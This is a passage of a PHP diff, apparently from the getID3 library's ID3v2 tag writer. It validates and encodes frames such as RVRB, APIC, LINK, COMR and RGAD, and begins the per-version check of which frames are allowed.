// Adjustment $xx (xx ...) + if (!$this->IsWithinBitRange($source_data_array['bitsvolume'], 8, false)) { + $this->errors[] = 'Invalid Adjustment Bits byte in '.$frame_name.' ('.$source_data_array['bitsvolume'].') (range = 1 to 255)'; + } else { + $framedata .= chr($source_data_array['adjustmentbits']); + foreach ($source_data_array as $key => $val) { + if ($key != 'bitsvolume') { + if (($key > 32767) || ($key < 0)) { + $this->errors[] = 'Invalid Frequency in '.$frame_name.' ('.$key.') (range = 0 to 32767)'; + } else { + if ($val >= 0) { + // put MSB of frequency to 1 if increment, 0 if decrement + $key |= 0x8000; + } + $framedata .= getid3_lib::BigEndian2String($key, 2, false); + $framedata .= getid3_lib::BigEndian2String($val, ceil($source_data_array['adjustmentbits'] / 8), false); + } + } + } + } + break; + + case 'RVRB': + // 4.13 RVRB Reverb + // Reverb left (ms) $xx xx + // Reverb right (ms) $xx xx + // Reverb bounces, left $xx + // Reverb bounces, right $xx + // Reverb feedback, left to left $xx + // Reverb feedback, left to right $xx + // Reverb feedback, right to right $xx + // Reverb feedback, right to left $xx + // Premix left to right $xx + // Premix right to left $xx + if (!$this->IsWithinBitRange($source_data_array['left'], 16, false)) { + $this->errors[] = 'Invalid Reverb Left in '.$frame_name.' ('.$source_data_array['left'].') (range = 0 to 65535)'; + } elseif (!$this->IsWithinBitRange($source_data_array['right'], 16, false)) { + $this->errors[] = 'Invalid Reverb Left in '.$frame_name.' ('.$source_data_array['right'].') (range = 0 to 65535)'; + } elseif (!$this->IsWithinBitRange($source_data_array['bouncesL'], 8, false)) { + $this->errors[] = 'Invalid Reverb Bounces, Left in '.$frame_name.' ('.$source_data_array['bouncesL'].') (range = 0 to 255)'; + } elseif (!$this->IsWithinBitRange($source_data_array['bouncesR'], 8, false)) { + $this->errors[] = 'Invalid Reverb Bounces, Right in '.$frame_name.' ('.$source_data_array['bouncesR'].') (range = 0 to 255)'; + } elseif (!$this->IsWithinBitRange($source_data_array['feedbackLL'], 8, false)) { + $this->errors[] = 'Invalid Reverb Feedback, Left-To-Left in '.$frame_name.' ('.$source_data_array['feedbackLL'].') (range = 0 to 255)'; + } elseif (!$this->IsWithinBitRange($source_data_array['feedbackLR'], 8, false)) { + $this->errors[] = 'Invalid Reverb Feedback, Left-To-Right in '.$frame_name.' ('.$source_data_array['feedbackLR'].') (range = 0 to 255)'; + } elseif (!$this->IsWithinBitRange($source_data_array['feedbackRR'], 8, false)) { + $this->errors[] = 'Invalid Reverb Feedback, Right-To-Right in '.$frame_name.' ('.$source_data_array['feedbackRR'].') (range = 0 to 255)'; + } elseif (!$this->IsWithinBitRange($source_data_array['feedbackRL'], 8, false)) { + $this->errors[] = 'Invalid Reverb Feedback, Right-To-Left in '.$frame_name.' ('.$source_data_array['feedbackRL'].') (range = 0 to 255)'; + } elseif (!$this->IsWithinBitRange($source_data_array['premixLR'], 8, false)) { + $this->errors[] = 'Invalid Premix, Left-To-Right in '.$frame_name.' ('.$source_data_array['premixLR'].') (range = 0 to 255)'; + } elseif (!$this->IsWithinBitRange($source_data_array['premixRL'], 8, false)) { + $this->errors[] = 'Invalid Premix, Right-To-Left in '.$frame_name.' ('.$source_data_array['premixRL'].') (range = 0 to 255)'; + } else { + $framedata .= getid3_lib::BigEndian2String($source_data_array['left'], 2, false); + $framedata .= getid3_lib::BigEndian2String($source_data_array['right'], 2, false); + $framedata .= chr($source_data_array['bouncesL']); + $framedata .= chr($source_data_array['bouncesR']); + $framedata .= chr($source_data_array['feedbackLL']); + $framedata .= chr($source_data_array['feedbackLR']); + $framedata .= chr($source_data_array['feedbackRR']); + $framedata .= chr($source_data_array['feedbackRL']); + $framedata .= chr($source_data_array['premixLR']); + $framedata .= chr($source_data_array['premixRL']); + } + break; + + case 'APIC': + // 4.14 APIC Attached picture + // Text encoding $xx + // MIME type $00 + // Picture type $xx + // Description $00 (00) + // Picture data + $source_data_array['encodingid'] = (isset($source_data_array['encodingid']) ? $source_data_array['encodingid'] : $this->id3v2_default_encodingid); + if (!$this->ID3v2IsValidTextEncoding($source_data_array['encodingid'])) { + $this->errors[] = 'Invalid Text Encoding in '.$frame_name.' ('.$source_data_array['encodingid'].') for ID3v2.'.$this->majorversion; + } elseif (!$this->ID3v2IsValidAPICpicturetype($source_data_array['picturetypeid'])) { + $this->errors[] = 'Invalid Picture Type byte in '.$frame_name.' ('.$source_data_array['picturetypeid'].') for ID3v2.'.$this->majorversion; + } elseif ((!$this->ID3v2IsValidAPICimageformat($source_data_array['mime']))) { + $this->errors[] = 'Invalid MIME Type in '.$frame_name.' ('.$source_data_array['mime'].') for ID3v2.'.$this->majorversion; + } elseif (($source_data_array['mime'] == '-->') && (!$this->IsValidURL($source_data_array['data'], false))) { + //$this->errors[] = 'Invalid URL in '.$frame_name.' ('.$source_data_array['data'].')'; + // probably should be an error, need to rewrite IsValidURL() to handle other encodings + $this->warnings[] = 'Invalid URL in '.$frame_name.' ('.$source_data_array['data'].')'; + } else { + $framedata .= chr($source_data_array['encodingid']); + $framedata .= str_replace("\x00", '', $source_data_array['mime'])."\x00"; + $framedata .= chr($source_data_array['picturetypeid']); + $framedata .= (!empty($source_data_array['description']) ? $source_data_array['description'] : '').getid3_id3v2::TextEncodingTerminatorLookup($source_data_array['encodingid']); + $framedata .= $source_data_array['data']; + } + break; + + case 'GEOB': + // 4.15 GEOB General encapsulated object + // Text encoding $xx + // MIME type $00 + // Filename $00 (00) + // Content description $00 (00) + // Encapsulated object + $source_data_array['encodingid'] = (isset($source_data_array['encodingid']) ? $source_data_array['encodingid'] : $this->id3v2_default_encodingid); + if (!$this->ID3v2IsValidTextEncoding($source_data_array['encodingid'])) { + $this->errors[] = 'Invalid Text Encoding in '.$frame_name.' ('.$source_data_array['encodingid'].') for ID3v2.'.$this->majorversion; + } elseif (!$this->IsValidMIMEstring($source_data_array['mime'])) { + $this->errors[] = 'Invalid MIME Type in '.$frame_name.' ('.$source_data_array['mime'].')'; + } elseif (!$source_data_array['description']) { + $this->errors[] = 'Missing Description in '.$frame_name; + } else { + $framedata .= chr($source_data_array['encodingid']); + $framedata .= str_replace("\x00", '', $source_data_array['mime'])."\x00"; + $framedata .= $source_data_array['filename'].getid3_id3v2::TextEncodingTerminatorLookup($source_data_array['encodingid']); + $framedata .= $source_data_array['description'].getid3_id3v2::TextEncodingTerminatorLookup($source_data_array['encodingid']); + $framedata .= $source_data_array['data']; + } + break; + + case 'PCNT': + // 4.16 PCNT Play counter + // When the counter reaches all one's, one byte is inserted in + // front of the counter thus making the counter eight bits bigger + // Counter $xx xx xx xx (xx ...) + $framedata .= getid3_lib::BigEndian2String($source_data_array['data'], 4, false); + break; + + case 'POPM': + // 4.17 POPM Popularimeter + // When the counter reaches all one's, one byte is inserted in + // front of the counter thus making the counter eight bits bigger + // Email to user $00 + // Rating $xx + // Counter $xx xx xx xx (xx ...) + if (!$this->IsValidEmail($source_data_array['email'])) { + // https://github.com/JamesHeinrich/getID3/issues/216 + // https://en.wikipedia.org/wiki/ID3#ID3v2_rating_tag_issue + // ID3v2 specs say it should be an email address, but Windows instead uses string like "Windows Media Player 9 Series" + $this->warnings[] = 'Invalid Email in '.$frame_name.' ('.$source_data_array['email'].')'; + } + if (!$this->IsWithinBitRange($source_data_array['rating'], 8, false)) { + $this->errors[] = 'Invalid Rating byte in '.$frame_name.' ('.$source_data_array['rating'].') (range = 0 to 255)'; + } else { + $framedata .= str_replace("\x00", '', $source_data_array['email'])."\x00"; + $framedata .= chr($source_data_array['rating']); + $framedata .= getid3_lib::BigEndian2String($source_data_array['data'], 4, false); + } + break; + + case 'RBUF': + // 4.18 RBUF Recommended buffer size + // Buffer size $xx xx xx + // Embedded info flag %0000000x + // Offset to next tag $xx xx xx xx + if (!$this->IsWithinBitRange($source_data_array['buffersize'], 24, false)) { + $this->errors[] = 'Invalid Buffer Size in '.$frame_name; + } elseif (!$this->IsWithinBitRange($source_data_array['nexttagoffset'], 32, false)) { + $this->errors[] = 'Invalid Offset To Next Tag in '.$frame_name; + } else { + $framedata .= getid3_lib::BigEndian2String($source_data_array['buffersize'], 3, false); + $flag = '0000000'; + $flag .= $source_data_array['flags']['embededinfo'] ? '1' : '0'; + $framedata .= chr(bindec($flag)); + $framedata .= getid3_lib::BigEndian2String($source_data_array['nexttagoffset'], 4, false); + } + break; + + case 'AENC': + // 4.19 AENC Audio encryption + // Owner identifier $00 + // Preview start $xx xx + // Preview length $xx xx + // Encryption info + if (!$this->IsWithinBitRange($source_data_array['previewstart'], 16, false)) { + $this->errors[] = 'Invalid Preview Start in '.$frame_name.' ('.$source_data_array['previewstart'].')'; + } elseif (!$this->IsWithinBitRange($source_data_array['previewlength'], 16, false)) { + $this->errors[] = 'Invalid Preview Length in '.$frame_name.' ('.$source_data_array['previewlength'].')'; + } else { + $framedata .= str_replace("\x00", '', $source_data_array['ownerid'])."\x00"; + $framedata .= getid3_lib::BigEndian2String($source_data_array['previewstart'], 2, false); + $framedata .= getid3_lib::BigEndian2String($source_data_array['previewlength'], 2, false); + $framedata .= $source_data_array['encryptioninfo']; + } + break; + + case 'LINK': + // 4.20 LINK Linked information + // Frame identifier $xx xx xx xx + // URL $00 + // ID and additional data + if (!getid3_id3v2::IsValidID3v2FrameName($source_data_array['frameid'], $this->majorversion)) { + $this->errors[] = 'Invalid Frame Identifier in '.$frame_name.' ('.$source_data_array['frameid'].')'; + } elseif (!$this->IsValidURL($source_data_array['data'], true)) { + //$this->errors[] = 'Invalid URL in '.$frame_name.' ('.$source_data_array['data'].')'; + // probably should be an error, need to rewrite IsValidURL() to handle other encodings + $this->warnings[] = 'Invalid URL in '.$frame_name.' ('.$source_data_array['data'].')'; + } elseif ((($source_data_array['frameid'] == 'AENC') || ($source_data_array['frameid'] == 'APIC') || ($source_data_array['frameid'] == 'GEOB') || ($source_data_array['frameid'] == 'TXXX')) && ($source_data_array['additionaldata'] == '')) { + $this->errors[] = 'Content Descriptor must be specified as additional data for Frame Identifier of '.$source_data_array['frameid'].' in '.$frame_name; + } elseif (($source_data_array['frameid'] == 'USER') && (getid3_id3v2::LanguageLookup($source_data_array['additionaldata'], true) == '')) { + $this->errors[] = 'Language must be specified as additional data for Frame Identifier of '.$source_data_array['frameid'].' in '.$frame_name; + } elseif (($source_data_array['frameid'] == 'PRIV') && ($source_data_array['additionaldata'] == '')) { + $this->errors[] = 'Owner Identifier must be specified as additional data for Frame Identifier of '.$source_data_array['frameid'].' in '.$frame_name; + } elseif ((($source_data_array['frameid'] == 'COMM') || ($source_data_array['frameid'] == 'SYLT') || ($source_data_array['frameid'] == 'USLT')) && ((getid3_id3v2::LanguageLookup(substr($source_data_array['additionaldata'], 0, 3), true) == '') || (substr($source_data_array['additionaldata'], 3) == ''))) { + $this->errors[] = 'Language followed by Content Descriptor must be specified as additional data for Frame Identifier of '.$source_data_array['frameid'].' in '.$frame_name; + } else { + $framedata .= $source_data_array['frameid']; + $framedata .= str_replace("\x00", '', $source_data_array['data'])."\x00"; + switch ($source_data_array['frameid']) { + case 'COMM': + case 'SYLT': + case 'USLT': + case 'PRIV': + case 'USER': + case 'AENC': + case 'APIC': + case 'GEOB': + case 'TXXX': + $framedata .= $source_data_array['additionaldata']; + break; + case 'ASPI': + case 'ETCO': + case 'EQU2': + case 'MCID': + case 'MLLT': + case 'OWNE': + case 'RVA2': + case 'RVRB': + case 'SYTC': + case 'IPLS': + case 'RVAD': + case 'EQUA': + // no additional data required + break; + case 'RBUF': + if ($this->majorversion == 3) { + // no additional data required + } else { + $this->errors[] = $source_data_array['frameid'].' is not a valid Frame Identifier in '.$frame_name.' (in ID3v2.'.$this->majorversion.')'; + } + break; + + default: + if ((substr($source_data_array['frameid'], 0, 1) == 'T') || (substr($source_data_array['frameid'], 0, 1) == 'W')) { + // no additional data required + } else { + $this->errors[] = $source_data_array['frameid'].' is not a valid Frame Identifier in '.$frame_name.' (in ID3v2.'.$this->majorversion.')'; + } + break; + } + } + break; + + case 'POSS': + // 4.21 POSS Position synchronisation frame (ID3v2.3+ only) + // Time stamp format $xx + // Position $xx (xx ...) + if (($source_data_array['timestampformat'] < 1) || ($source_data_array['timestampformat'] > 2)) { + $this->errors[] = 'Invalid Time Stamp Format in '.$frame_name.' ('.$source_data_array['timestampformat'].') (valid = 1 or 2)'; + } elseif (!$this->IsWithinBitRange($source_data_array['position'], 32, false)) { + $this->errors[] = 'Invalid Position in '.$frame_name.' ('.$source_data_array['position'].') (range = 0 to 4294967295)'; + } else { + $framedata .= chr($source_data_array['timestampformat']); + $framedata .= getid3_lib::BigEndian2String($source_data_array['position'], 4, false); + } + break; + + case 'USER': + // 4.22 USER Terms of use (ID3v2.3+ only) + // Text encoding $xx + // Language $xx xx xx + // The actual text + $source_data_array['encodingid'] = (isset($source_data_array['encodingid']) ? $source_data_array['encodingid'] : $this->id3v2_default_encodingid); + if (!$this->ID3v2IsValidTextEncoding($source_data_array['encodingid'])) { + $this->errors[] = 'Invalid Text Encoding in '.$frame_name.' ('.$source_data_array['encodingid'].')'; + } elseif (getid3_id3v2::LanguageLookup($source_data_array['language'], true) == '') { + $this->errors[] = 'Invalid Language in '.$frame_name.' ('.$source_data_array['language'].')'; + } else { + $framedata .= chr($source_data_array['encodingid']); + $framedata .= strtolower($source_data_array['language']); + $framedata .= $source_data_array['data']; + } + break; + + case 'OWNE': + // 4.23 OWNE Ownership frame (ID3v2.3+ only) + // Text encoding $xx + // Price paid $00 + // Date of purch. + // Seller + $source_data_array['encodingid'] = (isset($source_data_array['encodingid']) ? $source_data_array['encodingid'] : $this->id3v2_default_encodingid); + if (!$this->ID3v2IsValidTextEncoding($source_data_array['encodingid'])) { + $this->errors[] = 'Invalid Text Encoding in '.$frame_name.' ('.$source_data_array['encodingid'].')'; + } elseif (!getid3_id3v2::IsANumber($source_data_array['pricepaid']['value'], false)) { + $this->errors[] = 'Invalid Price Paid in '.$frame_name.' ('.$source_data_array['pricepaid']['value'].')'; + } elseif (!getid3_id3v2::IsValidDateStampString($source_data_array['purchasedate'])) { + $this->errors[] = 'Invalid Date Of Purchase in '.$frame_name.' ('.$source_data_array['purchasedate'].') (format = YYYYMMDD)'; + } else { + $framedata .= chr($source_data_array['encodingid']); + $framedata .= str_replace("\x00", '', $source_data_array['pricepaid']['value'])."\x00"; + $framedata .= $source_data_array['purchasedate']; + $framedata .= $source_data_array['seller']; + } + break; + + case 'COMR': + // 4.24 COMR Commercial frame (ID3v2.3+ only) + // Text encoding $xx + // Price string $00 + // Valid until + // Contact URL $00 + // Received as $xx + // Name of seller $00 (00) + // Description $00 (00) + // Picture MIME type $00 + // Seller logo + $source_data_array['encodingid'] = (isset($source_data_array['encodingid']) ? $source_data_array['encodingid'] : $this->id3v2_default_encodingid); + if (!$this->ID3v2IsValidTextEncoding($source_data_array['encodingid'])) { + $this->errors[] = 'Invalid Text Encoding in '.$frame_name.' ('.$source_data_array['encodingid'].')'; + } elseif (!getid3_id3v2::IsValidDateStampString($source_data_array['pricevaliduntil'])) { + $this->errors[] = 'Invalid Valid Until date in '.$frame_name.' ('.$source_data_array['pricevaliduntil'].') (format = YYYYMMDD)'; + } elseif (!$this->IsValidURL($source_data_array['contacturl'], false)) { + $this->errors[] = 'Invalid Contact URL in '.$frame_name.' ('.$source_data_array['contacturl'].') (allowed schemes: http, https, ftp, mailto)'; + } elseif (!$this->ID3v2IsValidCOMRreceivedAs($source_data_array['receivedasid'])) { + $this->errors[] = 'Invalid Received As byte in '.$frame_name.' ('.$source_data_array['contacturl'].') (range = 0 to 8)'; + } elseif (!$this->IsValidMIMEstring($source_data_array['mime'])) { + $this->errors[] = 'Invalid MIME Type in '.$frame_name.' ('.$source_data_array['mime'].')'; + } else { + $framedata .= chr($source_data_array['encodingid']); + $pricestrings = array(); + foreach ($source_data_array['price'] as $key => $val) { + if ($this->ID3v2IsValidPriceString($key.$val['value'])) { + $pricestrings[] = $key.$val['value']; + } else { + $this->errors[] = 'Invalid Price String in '.$frame_name.' ('.$key.$val['value'].')'; + } + } + $framedata .= implode('/', $pricestrings); + $framedata .= $source_data_array['pricevaliduntil']; + $framedata .= str_replace("\x00", '', $source_data_array['contacturl'])."\x00"; + $framedata .= chr($source_data_array['receivedasid']); + $framedata .= $source_data_array['sellername'].getid3_id3v2::TextEncodingTerminatorLookup($source_data_array['encodingid']); + $framedata .= $source_data_array['description'].getid3_id3v2::TextEncodingTerminatorLookup($source_data_array['encodingid']); + $framedata .= $source_data_array['mime']."\x00"; + $framedata .= $source_data_array['logo']; + } + break; + + case 'ENCR': + // 4.25 ENCR Encryption method registration (ID3v2.3+ only) + // Owner identifier $00 + // Method symbol $xx + // Encryption data + if (!$this->IsWithinBitRange($source_data_array['methodsymbol'], 8, false)) { + $this->errors[] = 'Invalid Group Symbol in '.$frame_name.' ('.$source_data_array['methodsymbol'].') (range = 0 to 255)'; + } else { + $framedata .= str_replace("\x00", '', $source_data_array['ownerid'])."\x00"; + $framedata .= ord($source_data_array['methodsymbol']); + $framedata .= $source_data_array['data']; + } + break; + + case 'GRID': + // 4.26 GRID Group identification registration (ID3v2.3+ only) + // Owner identifier $00 + // Group symbol $xx + // Group dependent data + if (!$this->IsWithinBitRange($source_data_array['groupsymbol'], 8, false)) { + $this->errors[] = 'Invalid Group Symbol in '.$frame_name.' ('.$source_data_array['groupsymbol'].') (range = 0 to 255)'; + } else { + $framedata .= str_replace("\x00", '', $source_data_array['ownerid'])."\x00"; + $framedata .= ord($source_data_array['groupsymbol']); + $framedata .= $source_data_array['data']; + } + break; + + case 'PRIV': + // 4.27 PRIV Private frame (ID3v2.3+ only) + // Owner identifier $00 + // The private data + $framedata .= str_replace("\x00", '', $source_data_array['ownerid'])."\x00"; + $framedata .= $source_data_array['data']; + break; + + case 'SIGN': + // 4.28 SIGN Signature frame (ID3v2.4+ only) + // Group symbol $xx + // Signature + if (!$this->IsWithinBitRange($source_data_array['groupsymbol'], 8, false)) { + $this->errors[] = 'Invalid Group Symbol in '.$frame_name.' ('.$source_data_array['groupsymbol'].') (range = 0 to 255)'; + } else { + $framedata .= ord($source_data_array['groupsymbol']); + $framedata .= $source_data_array['data']; + } + break; + + case 'SEEK': + // 4.29 SEEK Seek frame (ID3v2.4+ only) + // Minimum offset to next tag $xx xx xx xx + if (!$this->IsWithinBitRange($source_data_array['data'], 32, false)) { + $this->errors[] = 'Invalid Minimum Offset in '.$frame_name.' ('.$source_data_array['data'].') (range = 0 to 4294967295)'; + } else { + $framedata .= getid3_lib::BigEndian2String($source_data_array['data'], 4, false); + } + break; + + case 'ASPI': + // 4.30 ASPI Audio seek point index (ID3v2.4+ only) + // Indexed data start (S) $xx xx xx xx + // Indexed data length (L) $xx xx xx xx + // Number of index points (N) $xx xx + // Bits per index point (b) $xx + // Then for every index point the following data is included: + // Fraction at index (Fi) $xx (xx) + if (!$this->IsWithinBitRange($source_data_array['datastart'], 32, false)) { + $this->errors[] = 'Invalid Indexed Data Start in '.$frame_name.' ('.$source_data_array['datastart'].') (range = 0 to 4294967295)'; + } elseif (!$this->IsWithinBitRange($source_data_array['datalength'], 32, false)) { + $this->errors[] = 'Invalid Indexed Data Length in '.$frame_name.' ('.$source_data_array['datalength'].') (range = 0 to 4294967295)'; + } elseif (!$this->IsWithinBitRange($source_data_array['indexpoints'], 16, false)) { + $this->errors[] = 'Invalid Number Of Index Points in '.$frame_name.' ('.$source_data_array['indexpoints'].') (range = 0 to 65535)'; + } elseif (!$this->IsWithinBitRange($source_data_array['bitsperpoint'], 8, false)) { + $this->errors[] = 'Invalid Bits Per Index Point in '.$frame_name.' ('.$source_data_array['bitsperpoint'].') (range = 0 to 255)'; + } elseif ($source_data_array['indexpoints'] != count($source_data_array['indexes'])) { + $this->errors[] = 'Number Of Index Points does not match actual supplied data in '.$frame_name; + } else { + $framedata .= getid3_lib::BigEndian2String($source_data_array['datastart'], 4, false); + $framedata .= getid3_lib::BigEndian2String($source_data_array['datalength'], 4, false); + $framedata .= getid3_lib::BigEndian2String($source_data_array['indexpoints'], 2, false); + $framedata .= getid3_lib::BigEndian2String($source_data_array['bitsperpoint'], 1, false); + foreach ($source_data_array['indexes'] as $key => $val) { + $framedata .= getid3_lib::BigEndian2String($val, ceil($source_data_array['bitsperpoint'] / 8), false); + } + } + break; + + case 'RGAD': + // RGAD Replay Gain Adjustment + // http://privatewww.essex.ac.uk/~djmrob/replaygain/ + // Peak Amplitude $xx $xx $xx $xx + // Radio Replay Gain Adjustment %aaabbbcd %dddddddd + // Audiophile Replay Gain Adjustment %aaabbbcd %dddddddd + // a - name code + // b - originator code + // c - sign bit + // d - replay gain adjustment + + if (($source_data_array['track_adjustment'] > 51) || ($source_data_array['track_adjustment'] < -51)) { + $this->errors[] = 'Invalid Track Adjustment in '.$frame_name.' ('.$source_data_array['track_adjustment'].') (range = -51.0 to +51.0)'; + } elseif (($source_data_array['album_adjustment'] > 51) || ($source_data_array['album_adjustment'] < -51)) { + $this->errors[] = 'Invalid Album Adjustment in '.$frame_name.' ('.$source_data_array['album_adjustment'].') (range = -51.0 to +51.0)'; + } elseif (!$this->ID3v2IsValidRGADname($source_data_array['raw']['track_name'])) { + $this->errors[] = 'Invalid Track Name Code in '.$frame_name.' ('.$source_data_array['raw']['track_name'].') (range = 0 to 2)'; + } elseif (!$this->ID3v2IsValidRGADname($source_data_array['raw']['album_name'])) { + $this->errors[] = 'Invalid Album Name Code in '.$frame_name.' ('.$source_data_array['raw']['album_name'].') (range = 0 to 2)'; + } elseif (!$this->ID3v2IsValidRGADoriginator($source_data_array['raw']['track_originator'])) { + $this->errors[] = 'Invalid Track Originator Code in '.$frame_name.' ('.$source_data_array['raw']['track_originator'].') (range = 0 to 3)'; + } elseif (!$this->ID3v2IsValidRGADoriginator($source_data_array['raw']['album_originator'])) { + $this->errors[] = 'Invalid Album Originator Code in '.$frame_name.' ('.$source_data_array['raw']['album_originator'].') (range = 0 to 3)'; + } else { + $framedata .= getid3_lib::Float2String($source_data_array['peakamplitude'], 32); + $framedata .= getid3_lib::RGADgainString($source_data_array['raw']['track_name'], $source_data_array['raw']['track_originator'], $source_data_array['track_adjustment']); + $framedata .= getid3_lib::RGADgainString($source_data_array['raw']['album_name'], $source_data_array['raw']['album_originator'], $source_data_array['album_adjustment']); + } + break; + + default: + if (/*(($this->majorversion == 2) && (strlen($frame_name) != 3)) || (($this->majorversion > 2) && (*/strlen($frame_name) != 4/*))*/) { + $this->errors[] = 'Invalid frame name "'.$frame_name.'" for ID3v2.'.$this->majorversion; + } elseif ($frame_name[0] == 'T') { + // 4.2. T??? Text information frames + // Text encoding $xx + // Information + $source_data_array['encodingid'] = (isset($source_data_array['encodingid']) ? $source_data_array['encodingid'] : $this->id3v2_default_encodingid); + if (!$this->ID3v2IsValidTextEncoding($source_data_array['encodingid'])) { + $this->errors[] = 'Invalid Text Encoding in '.$frame_name.' ('.$source_data_array['encodingid'].') for ID3v2.'.$this->majorversion; + } else { + $framedata .= chr($source_data_array['encodingid']); + $framedata .= $source_data_array['data']; + } + } elseif ($frame_name[0] == 'W') { + // 4.3. W??? URL link frames + // URL + if (!$this->IsValidURL($source_data_array['data'], false)) { + //$this->errors[] = 'Invalid URL in '.$frame_name.' ('.$source_data_array['data'].')'; + // probably should be an error, need to rewrite IsValidURL() to handle other encodings + $this->warnings[] = 'Invalid URL in '.$frame_name.' ('.$source_data_array['data'].')'; + } else { + $framedata .= $source_data_array['data']; + } + } else { + $this->errors[] = $frame_name.' not yet supported in $this->GenerateID3v2FrameData()'; + } + break; + } + } + if (!empty($this->errors)) { + return false; + } + return $framedata; + } + + /** + * @param string|null $frame_name + * @param array $source_data_array + * + * @return bool + */ + public function ID3v2FrameIsAllowed($frame_name, $source_data_array) { + static $PreviousFrames = array(); + + if ($frame_name === null) { + // if the writing functions are called multiple times, the static array needs to be + // cleared - this can be done by calling $this->ID3v2FrameIsAllowed(null, '') + $PreviousFrames = array(); + return true; + } + if ($this->majorversion == 4) { + switch ($frame_name) { + case 'UFID': + case 'AENC': + case 'ENCR': + case 'GRID': + if (!isset($source_data_array['ownerid'])) { + $this->errors[] = '[ownerid] not specified for '.$frame_name; + } elseif (in_array($frame_name.$source_data_array['ownerid'], $PreviousFrames)) { + $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same OwnerID ('.$source_data_array['ownerid'].')'; + } else { + $PreviousFrames[] = $frame_name.$source_data_array['ownerid']; + } + break; + + case 'TXXX': + case 'WXXX': + case 'RVA2': + case 'EQU2': + case 'APIC': + case 'GEOB': + if (!isset($source_data_array['description'])) { + $this->errors[] = '[description] not specified for '.$frame_name; + } elseif (in_array($frame_name.$source_data_array['description'], $PreviousFrames)) { + $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same Description ('.$source_data_array['description'].')'; + } else { + $PreviousFrames[] = $frame_name.$source_data_array['description']; + } + break; + + case 'USER': + if (!isset($source_data_array['language'])) { + $this->errors[] = '[language] not specified for '.$frame_name; + } elseif (in_array($frame_name.$source_data_array['language'], $PreviousFrames)) { + $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same Language ('.$source_data_array['language'].')'; + } else { + $PreviousFrames[] = $frame_name.$source_data_array['language']; + } + break; + + case 'USLT': + case 'SYLT': + case 'COMM': + if (!isset($source_data_array['language'])) { + $this->errors[] = '[language] not specified for '.$frame_name; + } elseif (!isset($source_data_array['description'])) { + $this->errors[] = '[description] not specified for '.$frame_name; + } elseif (in_array($frame_name.$source_data_array['language'].$source_data_array['description'], $PreviousFrames)) { + $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same Language + Description ('.$source_data_array['language'].' + '.$source_data_array['description'].')'; + } else { + $PreviousFrames[] = $frame_name.$source_data_array['language'].$source_data_array['description']; + } + break; + + case 'POPM': + if (!isset($source_data_array['email'])) { + $this->errors[] = '[email] not specified for '.$frame_name; + } elseif (in_array($frame_name.$source_data_array['email'], $PreviousFrames)) { + $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same Email ('.$source_data_array['email'].')'; + } else { + $PreviousFrames[] = $frame_name.$source_data_array['email']; + } + break; + + case 'IPLS': + case 'MCDI': + case 'ETCO': + case 'MLLT': + case 'SYTC': + case 'RVRB': + case 'PCNT': + case 'RBUF': + case 'POSS': + case 'OWNE': + case 'SEEK': + case 'ASPI': + case 'RGAD': + if (in_array($frame_name, $PreviousFrames)) { + $this->errors[] = 'Only one '.$frame_name.' tag allowed'; + } else { + $PreviousFrames[] = $frame_name; + } + break; + + case 'LINK': + // this isn't implemented quite right (yet) - it should check the target frame data for compliance + // but right now it just allows one linked frame of each type, to be safe. + if (!isset($source_data_array['frameid'])) { + $this->errors[] = '[frameid] not specified for '.$frame_name; + } elseif (in_array($frame_name.$source_data_array['frameid'], $PreviousFrames)) { + $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same FrameID ('.$source_data_array['frameid'].')'; + } elseif (in_array($source_data_array['frameid'], $PreviousFrames)) { + // no links to singleton tags + $this->errors[] = 'Cannot specify a '.$frame_name.' tag to a singleton tag that already exists ('.$source_data_array['frameid'].')'; + } else { + $PreviousFrames[] = $frame_name.$source_data_array['frameid']; // only one linked tag of this type + $PreviousFrames[] = $source_data_array['frameid']; // no non-linked singleton tags of this type + } + break; + + case 'COMR': + // There may be more than one 'commercial frame' in a tag, but no two may be identical + // Checking isn't implemented at all (yet) - just assumes that it's OK. + break; + + case 'PRIV': + case 'SIGN': + if (!isset($source_data_array['ownerid'])) { + $this->errors[] = '[ownerid] not specified for '.$frame_name; + } elseif (!isset($source_data_array['data'])) { + $this->errors[] = '[data] not specified for '.$frame_name; + } elseif (in_array($frame_name.$source_data_array['ownerid'].$source_data_array['data'], $PreviousFrames)) { + $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same OwnerID + Data ('.$source_data_array['ownerid'].' + '.$source_data_array['data'].')'; + } else { + $PreviousFrames[] = $frame_name.$source_data_array['ownerid'].$source_data_array['data']; + } + break; + + default: + if (($frame_name[0] != 'T') && ($frame_name[0] != 'W')) { + $this->errors[] = 'Frame not allowed in ID3v2.'.$this->majorversion.': '.$frame_name; + } + break; + } + + } elseif ($this->majorversion == 3) { + + switch ($frame_name) { + case 'UFID': + case 'AENC': + case 'ENCR': + case 'GRID': + if (!isset($source_data_array['ownerid'])) { + $this->errors[] = '[ownerid] not specified for '.$frame_name; + } elseif (in_array($frame_name.$source_data_array['ownerid'], $PreviousFrames)) { + $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same OwnerID ('.$source_data_array['ownerid'].')'; + } else { + $PreviousFrames[] = $frame_name.$source_data_array['ownerid']; + } + break; + + case 'TXXX': + case 'WXXX': + case 'APIC': + case 'GEOB': + if (!isset($source_data_array['description'])) { + $this->errors[] = '[description] not specified for '.$frame_name; + } elseif (in_array($frame_name.$source_data_array['description'], $PreviousFrames)) { + $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same Description ('.$source_data_array['description'].')'; + } else { + $PreviousFrames[] = $frame_name.$source_data_array['description']; + } + break; + + case 'USER': + if (!isset($source_data_array['language'])) { + $this->errors[] = '[language] not specified for '.$frame_name; + } elseif (in_array($frame_name.$source_data_array['language'], $PreviousFrames)) { + $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same Language ('.$source_data_array['language'].')'; + } else { + $PreviousFrames[] = $frame_name.$source_data_array['language']; + } + break; + + case 'USLT': + case 'SYLT': + case 'COMM': + if (!isset($source_data_array['language'])) { + $this->errors[] = '[language] not specified for '.$frame_name; + } elseif (!isset($source_data_array['description'])) { + $this->errors[] = '[description] not specified for '.$frame_name; + } elseif (in_array($frame_name.$source_data_array['language'].$source_data_array['description'], $PreviousFrames)) { + $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same Language + 